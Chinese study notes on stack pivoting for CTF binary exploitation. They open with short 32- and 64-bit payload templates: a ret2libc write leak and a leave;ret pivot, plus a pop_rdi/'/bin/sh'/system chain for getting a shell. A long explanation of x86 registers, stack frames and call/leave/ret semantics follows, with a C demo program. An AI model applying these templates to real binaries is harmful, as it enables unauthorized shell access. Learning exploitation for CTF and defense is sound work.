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payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) //#此前为需要执行的命令
+ p32(write_got_addr) + p32(4)//#此为必要的,一为返回的地址,二为

payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

64位模板(仅参考):

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payload=(p64(gift)+p64(main)).ljust(0x30,b'\x00')# 依次是需要执行的命令进行ret2libc
payload+=p64(leak-0X8)+p64(leave_ret)#一为stack栈底地址,二位二次leave的命令地址
本题存在libc 所以每次ebp值不同
payload1=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'a')#p64执行获取shell步骤
payload1+=p64(leak2-0x8)+p64(leave_ret)#一为stack栈底地址,二位二次leave的命令地址 之前依次是需要执行的命令进行getshell 若leak2的值不减去0x8 会导致第一个地址的命令无法执行

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rbp=gift 图误

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leave=mov esp,ebp;  pop ebp;
ret =pop eip #弹出栈顶数据(rsp中的)给eip寄存器 rsp会上升8/4地址

在汇编语言层面,

这组通用寄存器以%e(AT&T语法)或直接以e(Intel语法)开头来引用,

eg: mov $5, %eax或mov eax, 5表示将立即数5赋值给寄存器%eax。

在x86处理器中:

EIP(Instruction Pointer)是指令寄存器,指向处理器下条等待执行的指令地址(代码段内的偏移量),每次执行完相应汇编指令EIP值就会增加。

ESP(Stack Pointer)是堆栈指针寄存器,存放执行函数对应栈帧的栈顶地址(也是系统栈的顶部),且始终指向栈顶;

EBP(Base Pointer)是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址,用于C运行库访问栈中的局部变量和参数。

注意:

EIP是个特殊寄存器,不能像访问通用寄存器那样访问它,即找不到可用来寻址EIP并对其进行读写的操作码(OpCode)。EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变)。


FP:frame pointer 栈帧指针,每个进程的栈空间为一帧,FP指向 当前进程栈空间的 栈底。

32位Windows,一个进程栈的默认大小是1M。


每个未完成运行的函数占用一个独立的连续区域,称作栈帧(Stack Frame)。

栈帧是堆栈的逻辑片段,当调用函数时逻辑栈帧被压入堆栈, 当函数返回时逻辑栈帧被从堆栈中弹出。栈帧存放着函数参数,局部变量及恢复前一栈帧所需要的数据等。

使用栈帧的一个好处:

使得递归变为可能,因为对函数的每次递归调用,都会分配给该函数一个新的栈帧,这样就巧妙地隔离当前调用与上次调用。

栈帧的边界由栈帧基地址指针EBP和堆栈指针ESP界定(指针存放在相应寄存器中)。EBP指向当前栈帧底部(高地址),在当前栈帧内位置固定;

ESP指向当前栈帧顶部(低地址),当程序执行时ESP会随着数据的入栈和出栈而移动。因此函数中对大部分数据的访问都基于EBP进行。

称EBP为帧基指针, ESP为栈顶指针,并在引用汇编代码时分别记为%ebp和%esp.

从图中可以看出,函数调用时入栈顺序为
$$
实参N1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1N
$$
其中,主调函数将参数按照调用约定依次入栈(图中为从右到左),然后将指令指针EIP入栈以保存主调函数的返回地址(下一条待执行指令的地址)。

进入被调函数时,被调函数将主调函数的帧基指针EBP入栈,并将主调函数的栈顶指针ESP值赋给被调函数的EBP(作为被调函数的栈底),接着改变ESP值来为函数局部变量预留空间。

此时被调函数帧基指针指向被调函数的栈底。以该地址为基准,向上(栈底方向)可获取主调函数的返回地址、参数值,向下(栈顶方向)能获取被调函数的局部变量值,而该地址处又存放着上一层主调函数的帧基指针值。

本级调用结束后,将EBP指针值赋给ESP,使ESP再次指向被调函数栈底以释放局部变量;再将已压栈的主调函数帧基指针弹出到EBP,并弹出返回地址到EIP。

ESP继续上移越过参数,最终回到函数调用前的状态,即恢复原来主调函数的栈帧。如此递归便形成函数调用栈。

若需在函数中保存被调函数保存寄存器(如ESI、EDI),则编译器在保存EBP值时进行保存,或延迟保存直到局部变量空间被分配。在栈帧中并未为被调函数保存寄存器的空间指定标准的存储位置。


内存地址从栈底到栈顶递减,压栈就是把ESP指针逐渐往地低址移动的过程。而结构体tStrt中的成员变量memberX地址=tStrt首地址+(memberX偏移量),即越靠近tStrt首地址的成员变量其内存地址越小。因此,结构体成员变量的入栈顺序与其在结构体中声明的顺序相反。

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1 //StackFrame.c
2 #include <stdio.h>
3 #include <string.h>
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5 struct Strt{
6 int member1;
7 int member2;
8 int member3;
9 };
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11 #define PRINT_ADDR(x) printf("&"#x" = %p\n", &x)
12 int StackFrameContent(int para1, int para2, int para3){
13 int locVar1 = 1;
14 int locVar2 = 2;
15 int locVar3 = 3;
16 int arr[] = {0x11,0x22,0x33};
17 struct Strt tStrt = {0};
18 PRINT_ADDR(para1); //若para1为char或short型,则打印para1所对应的栈上整型临时变量地址!
19 PRINT_ADDR(para2);
20 PRINT_ADDR(para3);
21 PRINT_ADDR(locVar1);
22 PRINT_ADDR(locVar2);
23 PRINT_ADDR(locVar3);
24 PRINT_ADDR(arr);
25 PRINT_ADDR(arr[0]);
26 PRINT_ADDR(arr[1]);
27 PRINT_ADDR(arr[2]);
28 PRINT_ADDR(tStrt);
29 PRINT_ADDR(tStrt.member1);
30 PRINT_ADDR(tStrt.member2);
31 PRINT_ADDR(tStrt.member3);
32 return 0;
33 }
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35 int main(void){
36 int locMain1 = 1, locMain2 = 2, locMain3 = 3;
37 PRINT_ADDR(locMain1);
38 PRINT_ADDR(locMain2);
39 PRINT_ADDR(locMain3);
40 StackFrameContent(locMain1, locMain2, locMain3);
41 printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
42 memset(&locMain2, 0, 2*sizeof(int));
43 printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
44 return 0;
45 }
StackFrame

输出结果:

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函数调用以值传递时,传入的实参(locMain13)与被调函数内操作的形参(para13)两者存储地址不同,因此被调函数无法直接修改主调函数实参值(对形参的操作相当于修改实参的副本)。为达到修改目的,需要向被调函数传递实参变量的指针(即变量的地址)。

此外,”[locMain1,2,3] = [0, 0, 3]”是因为对四字节参数locMain2调用memset函数时,会从低地址向高地址连续清零8个字节,从而误将位于高地址locMain1清零。

memset()函数介绍

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void *memset(void *str, int c, size_t n)

解释:复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
作用:是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法
头文件:C中#include<string.h>,C++中#include

局部变量并不总在栈中,有时出于性能(速度)考虑会存放在寄存器中。数组/结构体型的局部变量通常分配在栈内存中。

若要确保两个对象在内存上相邻且前后关系固定,可使用结构体或数组定义。


函数调用时的具体步骤如下:

\1) 主调函数(caller)将被调函数(callee)所要求的参数,根据相应的函数调用约定,保存在运行时栈中。该操作会改变程序的栈指针。

注:x86平台将参数压入调用栈中。而x86_64平台具有16个通用64位寄存器,故调用函数时前6个参数通常由寄存器传递,其余参数才通过栈传递。

\2) 主调函数将控制权移交给被调函数(使用call指令)。函数的返回地址(待执行的下条指令地址)保存在程序栈中(压栈操作隐含在call指令中)。

\3) 若有必要,被调函数会设置帧基指针,并保存被调函数希望保持不变的寄存器值。

\4) 被调函数通过修改栈顶指针的值,为自己的局部变量在运行时栈中分配内存空间,并从帧基指针的位置处向低地址方向存放被调函数的局部变量和临时变量。

\5) 被调函数执行自己任务,此时可能需要访问由主调函数传入的参数。若被调函数返回一个值,该值通常保存在一个指定寄存器中(如EAX)。

\6) 一旦被调函数完成操作,为该函数局部变量分配的栈空间将被释放。这通常是步骤4的逆向执行。

\7) 恢复步骤3中保存的寄存器值,包含主调函数的帧基指针寄存器。

\8) 被调函数将控制权交还主调函数(使用ret指令)。根据使用的函数调用约定,该操作也可能从程序栈上清除先前传入的参数。

\9) 主调函数再次获得控制权后,可能需要将先前的参数从栈上清除。在这种情况下,对栈的修改需要将帧基指针值恢复到步骤1之前的值。

*步骤3与步骤4在函数调用之初常一同出现,统称为函数序(prologue);步骤6到步骤8在函数调用的最后常一同出现,统称为函数跋(epilogue)。函数序和函数跋是编译器自动添加的开始和结束汇编代码,其实现与CPU架构和编译器相关。除步骤5代表函数实体外,其它所有操作组成函数调用。*


压栈(push):栈顶指针ESP减小4个字节;以字节为单位将寄存器数据(四字节,不足补零)压入堆栈,从高到低按字节依次将数据存入ESP-1、ESP-2、ESP-3、ESP-4指向的地址单元。*

出栈(pop):栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节。

可见,压栈操作将寄存器内容存入栈内存中(寄存器原内容不变),栈顶地址减小;出栈操作从栈内存中取回寄存器内容(栈内已存数据不会自动清零),栈顶地址增大。栈顶指针ESP总是指向栈中下一个可用数据。

调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。

离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。

返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。*